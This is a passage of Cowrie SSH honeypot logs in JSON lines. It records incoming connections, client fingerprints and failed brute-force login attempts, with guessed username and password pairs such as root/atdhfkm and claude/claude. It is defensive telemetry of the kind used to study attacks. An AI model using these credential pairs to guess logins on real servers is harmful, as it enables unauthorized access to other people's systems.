0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:08.442405Z","src_ip":"83.168.110.85","session":"a6ae8db62576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:08.802674Z","src_ip":"83.168.110.85","session":"a6ae8db62576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":54490,"dst_ip":"159.203.135.109","dst_port":22,"session":"802d4392b648","protocol":"ssh","message":"New connection: 103.173.227.57:54490 (159.203.135.109:22) [session: 802d4392b648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:09.634196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:09.639121Z","src_ip":"103.173.227.57","session":"802d4392b648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:09.884753Z","src_ip":"103.173.227.57","session":"802d4392b648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:09.928938Z","src_ip":"83.168.110.85","session":"a6ae8db62576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atdhfkm","message":"login attempt [root/atdhfkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:10.626336Z","src_ip":"103.173.227.57","session":"802d4392b648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:11.874557Z","src_ip":"103.173.227.57","session":"802d4392b648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58358,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab75b2b3aaf6","protocol":"ssh","message":"New connection: 83.168.110.85:58358 (159.203.135.109:22) [session: ab75b2b3aaf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:18.531740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:18.536595Z","src_ip":"83.168.110.85","session":"ab75b2b3aaf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:18.658376Z","src_ip":"83.168.110.85","session":"ab75b2b3aaf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:19.023776Z","src_ip":"83.168.110.85","session":"ab75b2b3aaf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:20.147891Z","src_ip":"83.168.110.85","session":"ab75b2b3aaf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52196,"dst_ip":"159.203.135.109","dst_port":22,"session":"36643b4fa035","protocol":"ssh","message":"New connection: 83.168.110.85:52196 (159.203.135.109:22) [session: 36643b4fa035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:28.859976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:28.864990Z","src_ip":"83.168.110.85","session":"36643b4fa035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:28.992835Z","src_ip":"83.168.110.85","session":"36643b4fa035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:29.356113Z","src_ip":"83.168.110.85","session":"36643b4fa035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:30.481103Z","src_ip":"83.168.110.85","session":"36643b4fa035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":52232,"dst_ip":"159.203.135.109","dst_port":22,"session":"445adff46ad0","protocol":"ssh","message":"New connection: 152.32.171.99:52232 (159.203.135.109:22) [session: 445adff46ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:33.480487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:33.486013Z","src_ip":"152.32.171.99","session":"445adff46ad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:33.701194Z","src_ip":"152.32.171.99","session":"445adff46ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":36422,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebec82741649","protocol":"ssh","message":"New connection: 103.75.183.219:36422 (10.17.0.5:22) [session: ebec82741649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:34.168065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:34.173268Z","src_ip":"103.75.183.219","session":"ebec82741649","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":46386,"dst_ip":"159.203.135.109","dst_port":22,"session":"9526ab3d2da8","protocol":"ssh","message":"New connection: 160.251.185.39:46386 (159.203.135.109:22) [session: 9526ab3d2da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:34.297509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:34.301626Z","src_ip":"160.251.185.39","session":"9526ab3d2da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:34.413519Z","src_ip":"103.75.183.219","session":"ebec82741649","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:34.491980Z","src_ip":"160.251.185.39","session":"9526ab3d2da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:34.602838Z","src_ip":"152.32.171.99","session":"445adff46ad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"234567","message":"login attempt [root/234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:35.134871Z","src_ip":"103.75.183.219","session":"ebec82741649","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wyr","message":"login attempt [root/wyr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:35.282790Z","src_ip":"160.251.185.39","session":"9526ab3d2da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:35.822066Z","src_ip":"152.32.171.99","session":"445adff46ad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:36.380669Z","src_ip":"103.75.183.219","session":"ebec82741649","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:36.473027Z","src_ip":"160.251.185.39","session":"9526ab3d2da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43696,"dst_ip":"159.203.135.109","dst_port":22,"session":"e95b8901e664","protocol":"ssh","message":"New connection: 83.168.110.85:43696 (159.203.135.109:22) [session: e95b8901e664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:39.114519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:39.119786Z","src_ip":"83.168.110.85","session":"e95b8901e664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:39.244332Z","src_ip":"83.168.110.85","session":"e95b8901e664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:39.691562Z","src_ip":"83.168.110.85","session":"e95b8901e664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:40.500499Z","src_ip":"89.223.127.55","session":"9b73c4b002b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.218.206.66","src_port":10600,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e71207f1182","protocol":"ssh","message":"New connection: 216.218.206.66:10600 (159.203.135.109:22) [session: 5e71207f1182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:40.640561Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u00039\\xd3<99K\\xb6%\\xc1O\u00dd\\x9d\\xfa7\u007f\u007fO\\xe4?~\\xe8\\xd1\\xc1\\xb9X\\x84\\xb2o\\xba!\\xf0\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u00039\\xd3<99K\\xb6%\\xc1O\u00dd\\x9d\\xfa7\u007f\u007fO\\xe4?~\\xe8\\xd1\\xc1\\xb9X\\x84\\xb2o\\xba!\\xf0\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:40.645149Z","src_ip":"216.218.206.66","session":"5e71207f1182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:40.648190Z","src_ip":"216.218.206.66","session":"5e71207f1182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:40.814827Z","src_ip":"83.168.110.85","session":"e95b8901e664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60086,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb08246740ae","protocol":"ssh","message":"New connection: 83.168.110.85:60086 (159.203.135.109:22) [session: bb08246740ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:49.580205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:49.584563Z","src_ip":"83.168.110.85","session":"bb08246740ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-